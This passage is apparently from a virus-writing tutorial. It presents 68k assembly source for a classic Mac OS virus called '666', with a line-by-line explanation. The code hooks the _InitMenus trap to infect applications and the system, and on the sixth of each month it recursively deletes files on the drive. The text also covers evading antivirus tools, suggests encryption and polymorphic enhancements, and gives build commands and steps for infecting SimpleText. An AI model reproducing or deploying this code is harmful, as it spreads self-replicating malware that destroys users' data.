_UseResFile ;use old resfile
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
MOVEA.L Vars,A0 ;fetch label of vars
MOVEA.L (A0),A0 ;dereference and get address of SysMDEF
JMP (A0) ;jump to old MDEF code
;***************************************************************
;the following gets executed upon calling _InitMenus. It is the
;pre-processing patch to the _InitMenus routine. Every time an
;application calls _InitMenus, this code will be executed first
;***************************************************************
MyInitMenus
BRA.S Next ;step over next longword
OldInitMenus
DC.L 0 ;address of original _InitMenus
Next
MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
LEA Vars,A4 ;load vars
CLR.L NewHandle(A4) ;make nil handle
CLR.W -(SP) ;room for current res file
_CurResFile ;resfile of application that's running
MOVE.W (SP)+,CurResFile(A4) ;store in variable
;***************************************************************
;see if application that's running is infected. Get MDEF=666. If
;non-nil, application is infected.
;***************************************************************
CLR.L -(SP) ;space for handle
MOVE.L #'MDEF',-(SP) ;push restype
MOVE.W #666,-(SP) ;push id=666
_Get1Resource ;get it
MOVE.L (SP)+,D0 ;put in D0
BNE ExitPatch ;non nil, infected we can exit
;***************************************************************
;now see if our application has any MENU resources
;***************************************************************
CLR.W -(SP) ;room for count
MOVE.L #'MENU',-(SP) ;push restype
_Count1Resources ;count how many MENU resources
MOVE.W (SP)+,D0 ;copy to D0
BEQ ExitPatch ;if 0, no MENU resources, exit
;***************************************************************
;now fetch MENU resources and check MDEFs
;***************************************************************
MOVEQ #0,D3 ;clear flag
MOVE.L D0,D2 ;copy how many MENU resources
MOVEQ #0,D1 ;initialize counter
@9 ADDQ #1,D1 ;add one
CLR.L -(SP) ;room for returned MENU handle
MOVE.L #'MENU',-(SP) ;push restype
MOVE.W D1,-(SP) ;push index
_Get1IxResource ;get first resource
MOVE.L (SP)+,MENURes(A4) ;get MENU resource
MOVEA.L MENURes(A4),A0 ;copy in A0
_HLock ;lock MENU resource
MOVE.W MemErr,D0 ;check for error
BNE ExitPatch ;exit on error
MOVEA.L (A0),A0 ;get data
CMPI.W #0,ProcID(A0) ;check proc id
SEQ D3 ;set flag if found MENU with MDEF=0
BEQ.S @10 ;exit loop
MOVEA.L MENURes(A4),A0 ;handle in A0
_HUnlock ;unlock
CMP.W D1,D2 ;did we examine all yet?
BGT.S @9 ;no, loop back
@10 TST D3 ;check if we found a menu
BEQ ExitPatch ;no, exit patch
;***************************************************************
;now allocate handle so we can copy ourselves in it
;***************************************************************
LEA EndLabel,A0 ;end of virus
LEA Entry,A1 ;beginning of virus
SUBA.L A1,A0 ;find length of virus
MOVE.L A0,bytes2copy(A4) ;store in bytes2copy
MOVE.L A0,D0 ;copy to D0
_NewHandle ;allocate new handle
MOVE.L A0,NewHandle(A4) ;store
BEQ.S ExitPatch ;exit on error<>0
MOVE.L NewHandle(A4),A0 ;put handle in A0
_HLock ;lock the handle
MOVE.W MemErr,D0 ;check for error
BNE.S ExitPatch ;exit on error
;***************************************************************
;now copy this very code into the new handle
;***************************************************************
LEA Entry,A0 ;source pointer
MOVE.L NewHandle(A4),A1 ;get address of master pointer
MOVE.L (A1),A1 ;get address of data, destination pointer
MOVE.L bytes2copy(A4),D0 ;howmany bytes
_BlockMove ;copy virus
MOVE.L NewHandle(A4),A0 ;nove handle in A0
_HUnlock ;unlock it
MOVE.W MemErr,D0 ;check for error
BNE.S ExitPatch ;exit on error
;***************************************************************
;now add resource into active resource file
;***************************************************************
MOVE.L NewHandle(A4),-(SP) ;push handle
MOVE.L #'MDEF',-(SP) ;push type
MOVE.W #666,-(SP) ;push id=666
PEA ExtensionName ;push name
_AddResource ;add it
MOVE.W ResErr,D0 ;get error
BNE.S ExitPatch ;non zero error code, exit
;***************************************************************
;now change the MDEF id of that menu so that it calls our MDEF
;***************************************************************
MOVE.L MENURes(A4),A0 ;put in A0 to lock
_HLock
MOVE.W MemErr,D0 ;check error
BNE.S ExitPatch ;exit on error
MOVE.L MENURes(A4),A0 ;get handle to MENU resource
MOVEA.L (A0),A0 ;get master pointer of resource handle
MOVE.W #666,ProcID(A0) ;stuff new proc id
MOVE.L MENURes(A4),A0 ;get handle again
_HUnlock ;unlock it
MOVE.W MemErr,D0 ;get error
BNE.S ExitPatch ;exit if we cannot unlock
MOVE.L MENURes(A4),-(SP) ;push handle
_ChangedResource ;we changed it
MOVE.W ResErr,D0 ;get error code
BNE.S ExitPatch ;exit if error occured
;***************************************************************
;finally update the current resource file
;***************************************************************
MOVE.W CurResFile(A4),-(SP) ;push current res file
_UpdateResFile ;write it
ExitPatch
BSR.S Dispose ;dispose any new handles
MOVE.W CurResFile(A4),-(SP) ;push current res file
_UseResFile ;use it again, might have been changed
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
MOVEA.L OldInitMenus,A0 ;get address of original InitMenus
JMP (A0) ;jump to original InitMenus
;***************************************************************
;we need to test whether we need to dispose our new handle.
;***************************************************************
Dispose
TST.L NewHandle(A4) ;is our handle nil?
BEQ.S DontDispose ;if yes, don't dispose anything
;***************************************************************
;we need to test whether our handle is resource or plain.
;***************************************************************
MOVEQ #0,D0 ;clear D0
MOVE.L NewHandle(A4),A0 ;handle in A0
_HGetState ;get the state of the handle
BTST #5,D0 ;test the resource bit
BNE.S DontDispose ;if set, exit
MOVE.L NewHandle(A4),A0 ;put in A0
_DisposeHandle ;dispose regular handle if addresource failed
DontDispose
RTS
;***************************************************************
;the following subroutine will erase the drive contents!!!
;it will recursivelly go down any directory, deleting any non
;application files it finds
;A0 holds the address of CInfoPB, or HParamBlock
;A1 holds the address of CInfoPB as a copy
;D1 is the recursive directory counter
;D0 is usually the error code from routines
;***************************************************************
EraseDrive
LINK A6,#0 ;no locals
MOVE.L D1,-(SP) ;save D1
MOVEQ #0,D1 ;start counter
AddOne
ADDQ #1,D1 ;add 1 to counter
LEA CInfoPB,A0 ;load address of our record
CLR.L ioCompletion(A0) ;nil
LEA theName,A1 ;name address
MOVE.L A1,ioNamePtr(A0) ;name address
MOVE.W 12(A6),ioVRefNum(A0) ;vrefnum we want
MOVE.L 8(A6),ioDirId(A0) ;dirid
MOVE.W D1,ioFDirIndex(A0) ;index into directory
_GetCatInfo ;get directory info
CMP.W #fnfErr,D0 ;see if end of directory
BEQ.S ExitScan ;exit scanning if done
MOVE.B ioFLAttrib(A0),D0 ;get file attributes
BTST #4,D0 ;is it a directory?
BEQ.S EraseFile ;no, go to erase
MOVE.W 12(A6),-(SP) ;push vrefnum
MOVE.L ioDrDirId(A0),-(SP) ;push directory
JSR EraseDrive ;call recursivelly
BRA.S DontCorrect ;continue with rest of directories
EraseFile
CMP.L #'APPL',FileType(A0) ;check file type
BEQ.S DontCorrect ;don't erase applications
MOVEA.L A0,A1 ;copy address
LEA HParamBlock,A0 ;load address of block
CLR.L ioCompletion(A0) ;nil
LEA theName,A2 ;address of string
MOVE.L A2,ioNamePtr(A0) ;put in ionameptr
MOVE.W 12(A6),ioVRefNum(A0) ;put vrefnum
MOVE.L ioFLParId(A1),ioDirID(A0) ;put parent directory
_HDelete
BNE.S DontCorrect ;if no error, don't correct
SUBI.W #1,D1 ;one less on index
DontCorrect
BRA.S AddOne ;loop back
ExitScan
MOVE.L (SP)+,D1 ;restore D1
UNLK A6 ;unlink
MOVEA.L (SP)+,A0 ;pop return address
ADDQ #6,SP ;pop arguments
JMP (A0) ;return
ExtensionName
DC.B $04,$01,'666',$00
Vars
DCB.B 34,0
theSpec
DCB.B 70,0
Finfo
DCB.B 16,0
DatTimeRec
DCB.B 14,0
CInfoPB
DCB.B 108,0
HParamBlock
DCB.B 122,0
theName
DCB.B 64,0
EndLabel
ENDMAIN
END
First, we define some offsets to reference our variables which start at label
Vars. Register A4 will always point to the Vars label at run time. Our
Entrance label is 'Entry' and is used later to calculate the length of the
virus. Then we save all registers except A5, A6, and A7. As you remember, A5
is used to reference global variables in any program, so we don't fool around
with it. A6 is the stack frame register, so we leave it alone. A7=SP is the
Stack pointer, so we leave that alone as well. We don't really need to access
any of these. We save all the rest just in case. We will not be using most of
the saved ones, but i like to be on the safe side. Then we load the 'Vars'
label into A4, so we can reference all our variables. Next we get hold of the
current resource file, since we need to restore it before we exit so we don't
inadvertently change the order of resource files and have unpredictable
crashes. Be VERY careful when you change the current resource file. ALWAYS
restore it in the end, before you exit. Other resource manager routines
depend on finding the file resource map in memory intact. We copy the current
resource file reference number into our var section. Ok, basic housekeeping
is done. We then need to determine the state of our execution. Namely, this
virus has two states, depending on the double action principle. If it is run
from the system, it is in the first state. If it is run from an infected
application, it is in the second state. How do we determine the state we are
in? Simple. We look for an INIT resource in the current resource file (that
is, us) and if it exists, that means we are running as an INIT. If it does
not, we are running as a MDEF. We use the trap _Get1Resource to get hold of
the INIT resource and we store it in the corresponding variable. The, if the
data transfered was zero, indicating a nil master pointer for the resource
fetched, we branch into the second state, that is, the MDEF state. Here,
let's assume that we are in the first state, that of having fetched
succesfully an INIT resource, so we fall through onto the next statement. Our
extension now, will patch the _InitMenus trap. A small diversion here. Those
two wonderful traps, _GetToolboxTrapAddress and _SetToolboxTrapAddress that
come next, are the main tools of patching. Look back into the TRAP PATCHING
section of the article. For example, if I used the trap
_GetToolboxTrapAddress on the trap $A9AB, it would return the address
$3501980 to us. That's what those traps do. They fetch the actual routine
address from the dispatch table. The second one, can set the address to
whatever we want. So we move the trap number for _InitMenus into D0 and call
the _GetToolboxTrapAddress to recover the actual routine address. Then we
stuff the returned address into the label "OldInitMenus". After we save thus,
we install onto the trap _InitMenus OUR address, which is "MyInitMenus". That
will make sure that everytime someone calls _InitMenus, our code will be
executed first. Then, we call DetachResource on the entire INIT, to
disassociate it from our file, and to cause it to float in memory regardless
of our closing the Extension. A note here: It is assumed that any trap
patches are installed into the System Heap, and they are Locked. Don't make
the mistake of building an Extension from MPW of this code without setting
the resSysHeap, resPreload and resLocked bits. The machine will crash badly
if you forget those. The virus installs the resource correctly when it runs
off an application. Finally, we restore our registers and we exit gracefully.
The RTS instruction will bring us back to whoever called our Extension file.
The Extension now has done its job. Any time someone calls _InitMenus, that
someone will be running our code first, so he will be infected immediatelly
from memory. We continue with the second state. The code that will run from
an infected application. This code starts at the label MDEF. So let's look at
this code in detail: First we get hold of ourselves, i.e. the very code
that's running, but this time as a MDEF resource. We call GetResource and
this call returns basically a handle to the beginning of the virus code. We
store this handle in the variable 'Handle2Us'. Then we need to fetch the
original MDEF=0 code, so we can jump to it when we are done. We thus call
GetResource from the System file and we store the handle into 'SystemMDEF'.
If the handle is non-nil, we branch immediatelly into the 'InfectSys' label.
If it is nil (0), we are in trouble. Since we don't have any code to jump to
when we are done, we must necessarilly crash. So, we do. This is what the
trap _Debugger does. Here I have added a simple date-trigger test, which will
be used to activate the virus' evil behaviour. While on the label CheckDate
then, we fetch the system date from the low mem global "Time" and we convert
that to a dateTimeRec. Then we check the day, and if it is the sixth of the
month, all hell breaks loose. First we get the default volume. Then we push
the volume number onto the stack, and then we push the first directory id,
which is 2. Then we call the subroutine at the end of the program to erase
the drive contents. More on that subroutine later. So let's assume now its
not an erase date. We then pass onto the 'InfectSys' code. There, we clear
the variable ExtRefNum first to zero, so that we can have a way later to
determine if we have opened a new resource file-the Extension that we are
going to install. Then we call the trap _FindFolder to get hold of the
vRefnum and dirID of the Extensions directory on the system disk. We then try
to make a file speciification for our file, by using the returned
foundVrefNum and foundDirId from _FindFolder. Next we try to create the file
itself, based on the file specification we got from the above calls. Note
here, that we ignore the error retured from _FSpCreateResFile (might be
non-zero if the file exists already) because we need to open the file anyway.
For example, if an AV is running, it will not let us create such a file.
There will be a file created with no creator and filetype if we fail because
of an AV. Thus, if a failed file exists, we need to reset its file attributes
and copy the virus there. That's why we call _FSpGetFInfo, to get its
attributes anyway. We then reset the attributes and call _FSpSetFInfo to set
them again, in case the file was a failed one from a previous unsuccessful
attempt. We then call _FSpOpenResFile and try to open the file with write
permission to look inside. We look for an 'INIT' with id=666 resource. If the
Get1Resource call returns a handle to such a resource, the system is
infected, so we can exit. If it is not infected, we disassociate ourselves
from our file with DetachResource and we add ourselves to the file as an INIT
resource of id=666. Next, we remind ourselves that the INIT resource in that
special file needs to be resSysHeap+resPreload+resLocked. So we set those
attributes appropriately on the new resource. We first get the old ones, and
set the bits on those old ones, so we don't upset any preset ones. Finally we
call ChangedResource on the newlly added resource, and we exit. Upon exiting,
we look at the refnum of the opened Extension. If it is zero, it means we
haven't opened anything, so we just don't close any files. If it is nonzero,
we close the newlly created file. Then we fetch the address of the old MDEF
from where it has been stored and JMP to that location after we restore the
current resource file. From that point on, the MDEF=0 takes over control and
performs the regular MENU operations as expected. What follows, is the actual
patch code that gets executed upon anybody calling _InitMenus. We must carry
this code with us always, since we must install it on an uninfected system.
To understand the entry section, look at the previous TRAP PATCHING section
on this article. This code starts with a BRA instruction to jump over the
label that holds the original address of _InitMenus, as it has been stored
there from our Extension file. Then we first save all the registers again,
and load our variables into register A4 as we did before with the MDEF code
section. We clear our NewHandle variable so that we can tell later if we have
something non-zero there. We immediatelly get hold of the current resource
file (which will be the application that has called _InitMenus) and store it
in the variable CurResFile. We next examine if this current application that
is running is already infected. The test for that is whether the
Get1Resource('MDEF',666) call is successful. If it is, the application is
already infected, so we exit. If it is not, we will infect it. We then look
if the application has any MENU resources. If it doesn't have any, it is
immune against our virus, since even if we infect it, the MDEF=666 will never
be activated, since there will be no MENU resource with MDEF=666 to activate
it. We COULD infect it, but i like simplicity. There is no reason we should
infect a stale application that has no chance of propagating the virus. The
call Count1Resources('MENU') returns how many resources of that type are
inside the application. If none, we exit. If <>0 then we pick a MENU with a
valid index (that will be some MENU resource with MDEF=0) and get hold of
that MENU resource, this time through this index. (Instead of calling
GetResource('xxxx',id) you can call Get1IxResource('xxxx',index) with index
varying from 1 to Count1Resources('xxxx') to get handles to those resources
instead. Then the crucial part: We need to calculate how long our virus is.
We thus subtract the beginning of the virus from the end, to get a count,
which we load into the variable 'bytes2Copy', so we can use it later. We call
NewHandle to allocate this many bytes, and we store this handle in the
variable 'NewHandle'. We must now 'lock' the handle so that it doesn't move
in memory, and after we successfully do, we copy ourselves onto the block of
memory our new handle points to, using BlockMove. We then unlock our handle
and we are ready to copy. We push the type and id of the resource we want to
add, and we add it to the current resource file (i.e. the file that is
running). If an AV is running, the AddResource call will fail (we will tell
that with ResErr<>0), and in this case, we branch immediatelly into
'ExitPatch'. Next, we need to change the MDEF id of that MENU resource so
that when the menu manager tries to draw our menu, our MDEF=666 will
activate. The MDEF resource id is stored in the MENU resource 6 bytes into
the data record. So we stuff a 666 in there. We then unlock the resource and
call ChangedResource so that the file resource map will be updated on call
later. In fact the UpdateResFile follows, which writes all our changes
permanently. What follows, needs careful analysis. It is the ExitPatch label
inside which we need to perform certain tests to insure that we don't
unecessarily do something we don't need to. For example, if we exited due to
an error, we might have not allocated a NewHandle. That's why we test for a
nil handle here, and if it is nil, we don't do anything else but simply exit.
If however our calls for NewHandle were successful, we need to determine if
we have a plain memory handle (i.e. if we successfully allocated memory but
failed to add a resource) or a resource handle (i.e. if we have successfully
allocated memory AND the handle was added later as a resource, which means it
became a resource handle) For that, we call HGetState(NewHandle) to get its
state. If bit #5 on 'state' is set, then it is a resource handle. If not, it
is a plain handle. Accordingly, we call the proper routine. Either
DisposeHandle, or ReleaseResource, depending on what we have. Finally we
restore the current resource file and the registers, and JMP onto the
original routine for _InitMenus. That's it :)
DIRECTORY SCANNING
Before we analyze the Erasing subroutine, lets look a bit at the Pascal
Source of the predecessor to my Erase subroutine, on which the asm routine is
based. It is quite simple:
program CatInfo;
{$I-}
var
err: integer;
vRefNum: integer;
CInfoPB: CInfoPBRec;
theName: Str255;
procedure TraverseDrive (vRefNum: integer; DirId: longint);
var
i: integer;
err, ferr: integer;
begin
i := 0;
repeat
i := i + 1;
with CInfoPB do
begin
ioCompletion := nil;
ioNamePtr := @theName;
ioVRefNum := vRefNum;
ioDirID := DirId;
ioFDirIndex := i;
end;
err := PBGetCatInfo(@CInfoPB, false);
if (err = noErr) then
if BTST(CInfoPB.ioFLAttrib, 4) then
TraverseDrive(vRefNum, CInfoPB.ioDrDirId)
else
writeln(theName)
until err = fnfErr;
end;
begin
InitGraf(@thePort);
InitWindows;
InitMenus;
TEInit;
InitDialogs(nil);
err := GetVol(nil, vRefNum);
writeln(vRefNum);
TraverseDrive(vRefNum, 2);
end.
The source is pretty self explanatory. We first get the default volume number
and we pass this along with the first directory id=2 to the subroutine. The
subroutine simply scans a directory, and enumerates its contents. If the
fetched item is a directory, (BTST(CInfoPB.ioFLAttrib, 4)), we call
recursivelly and go one level down to traverse the new directory. If it is a
file, we just write its name. The idea is very simple. If we wanted to erase
the drive, we would have instead of writeln, an HDelete. But note one
important catch here! If we delete a file of say enumeration index n, we
actually LOSE one index, so we must subtract one from our index scan counter.
This is a very common bug, which many viruses so far have missed, and as
such, their erase routines fail. But ours does not :) So let's go and look at
the granddaddy of all eraseing subroutines, the simplest possible directory
scanner, in asm:
THE ERASE DRIVE SUBROUTINE
The last segment of our virus is a subroutine that gets called when the date
trigger activates the virus. It needs to be a complete subroutine, with LINK
and UNLK and stuff, since we will be calling it recursivelly. We first LINK
A6 with 0 bytes locals, (we have no need for locals) and then we save
register D1, since our counter needs to be preserved recursivelly when we go
up one level. The subroutine accepts two arguments on the stack, a vRefNum,
(2 bytes) and a DirID (4 bytes). These arguments after the link are to be
found at 12(A6) and at 8(A6). So each time we enter the subroutine, we
retrieve them from those locations and feed them into our CINfoPB parameter
block, to give them as parameters to _GetCatInfo. We also give a dirIndex,
which is simply a counter of objects in any directory and then we call the
trap. The trap returns information in our CInfoPB parameter block. If the
trap returns fnfErr (file not found error) we exit. The trap returns this
error when the entire directory has been traversed. If the error is nonzero,
we check the objects file attributes like in the Pascal source, to see if it
is a file or a directory. If it is a file, we jump to the label EraseFile. If
not, we call the subroutine recursivelly. After we are done, we branch to
DontCorrect, which simply loops back and increases our counter. On the label
EraseFile, we check the fileType of the returned file. If it is an
application we leave it alone. There is no sense in erasing the very carriers
of the virus. That would be equivallent to the virus committing suicide. We
don't want that of course!!! Then, provided our file is not an APPL, we load
the correct fields into our HParamBlock record, and we call _HDelete. If
_HDelete returns an error (such as file busy or whatever) we simply loop back
to increasing the counter and continue with our scanning. If however the call
was successfull, we need to decrease our counter by one, because we have one
file less in the directory now!!!. So then, we branch back to increasing our
counter, and we continue. Finally, the ExitScan label will be reached when
all the objects in a particular directory have been enumerated, so we restore
D1, Unlink our stack frame, pop the return address, pop our arguments (2 for
vRefNum+4 for DirID) and we return to whoever called us. The subroutine is
actually a direct adaptation to the Pascal enumerator, with the exception of
the index correction when we delete. You should have no problems
understanding it. It is actually pretty simple. Don't forget to check Inside
Macintosh, to see how we load all those blocks into A0 before we call the
corresponding traps.
What follows are the Extension name and our vars.
A NOTE ON ENCRYPTION
Before submitting this project to the Codebreakers, i was thinking why not
finish a nicely done job and encrypt the virus. The job is actually quite
easy. I would have the first instruction to be a BRA Decrypt and when the
virus needs to add resources to other files, I would do a BSR Encrypt. The
Decryption engine would be appended to the end of the virus, and it would be
relatively simple. Actually i did it, and the engine was around 40-50 bytes.
But upon seriously thinking about it, when i looked at the encrypted version
of the virus, i could easily spot the pick up of the key from the location i
was storing it. If someone is a specialist on asm, one could immediately
figure out the engine. I was going to implement a simple XOR encryption, but
the virus got bulky and complicated, and it crashed for some reason that
would have taken me weeks to figure out using MacsBug. I had enough trouble
to figure out why this version crashed, before i figured out to split my
DisposeHandles routine to two pieces, one that disposed Memory handles and
the other that Released Resource manager handles. That was tricky. In any
case, even if the encryption was successful, the id of the MDEF would be
always 666. So any scanning program would simply check for any MDEF=666
resources and it would issue alerts immediatelly. One possible solution to
that would be to infect application files with MDEFs of variant ids. This
technique though, would complicate the signature verification of the virus,
as the virus would have to check for all possible MDEF ids to figure out if
an application is alerady infected. Still, even if one did that, the
decryption engine would be visible. I am not a specialist on virus
encryption, and i am sure that PeeCee guys out there have many mutational
Encryption engines, but i am not going to proceed thus far. I will leave it
as is (for now).
EPILOGUE
I will emphasize again that it is very easy for this virus to escape your
control. Be VERY careful when you experiment with it. In some cases AV tools
may not help you at all. I haven't examined its behaviour under many AVs,
except some that just track suspicious behaviour, such as Gatekeeper and SAM
Intercept. If it runs away from you, open all your files with either ResEdit
or Resourcerer and look for MDEFs with ids of 666. Remove them all, and also
look in the MENU resources of those programs, and change their MDEF ids where
they have been changed back to 0. In fact if it escapes you, you are in deep
shit, because on the next 6-th of the month, one instance of it will attempt
to erase your drive's contents. IF THIS VIRUS ESCAPES YOU, DON'T START YOUR
MACHINE AT ALL ON ANY SIXTH OF THE MONTH BEFORE YOU CLEAN UP ALL OF THE
INFECTION!!!! Lots of work i assure you. But this is the price of wanting to
fool around with beasties like this one. Otherwise, have lots of fun with
this one, its my best accomplishment so far in the area of Mac viruses and
the first virus that has no problems whatsoever on all the OSs from 6.0.7 and
up. I hope i have explained everything as best as i could.
ENHANCEMENTS
One could easily enhance upon the existing source. What comes to mind is
first of all efficient encryption with variant MDEF ids. I.e. the virus could
infect different applications with MDEFs of different ids. Of course the
infection verification will become quite bulky. But you could use
Get1IxResource to scan through the MDEFs to find if one is ours. Another
possible enhancement would be to make the virus more infectuous. Note that if
both the system and the application that's running are infected, the virus
basically does nothing. One could use here the routine _PBGetCatInfo to find
another application on the hard drive, possibly a random one, and infect it
statically. (our infection is dynamic, through memory remember) Of course
that would present additional difficulties, such as calling _Random, but
remember the seed for _Random is set to one every time an application is
first run. SO we essentially don't have access to true Randomness. But one
could fool around with the globals and feed the time into randseed.
Difficult-the virus has no globals-but not impossible. Try to experiment with
some of these ideas and see what you can come up with. I am too bored to
explore all of them :)
BULDING THE PROJECT
Finally the MPW commands to build it, assuming you have the application
SimpleText on your working directory, are: asm -o 666.a.o 666.a link 666.a.o
-o SimpleText -rt 'MDEF'=666 You also need to change the MDEF id of some MENU
in the application SimpleText so that the virus activates. Open SimpleText
with ResEdit. Double click on the MENU resources. Double click on one menu.
From the MENU menu, select "Edit Menu & MDEF id...". On the MDEF ID box,
enter 666. Save the changes and close. The application SimpleText is now
infected and active.
THANX TO:
I would like to thank Spo0ky and Opic for their invaluable suggestions. In
fact, some of the later projects like 666.polymorphic and 666.Symbiotic would
never have been possible (well, i could not resist and finally added
polymorphism to the 666 projects, download them from my section!!:) if it was
not for their tutorials in polymorphism and generic mutation. These guys seem
to have the brains of a CPU and although much younger than me, i am really
proud to have them as leaders. In fact again, polymorphism was suggested to
me by opic and symbiotism by spo0ky who has created the nastiest symbiotic
out there: DEScendant of Devil. Cheers guys.
Have fun
(c) J.S.Bach-XTAR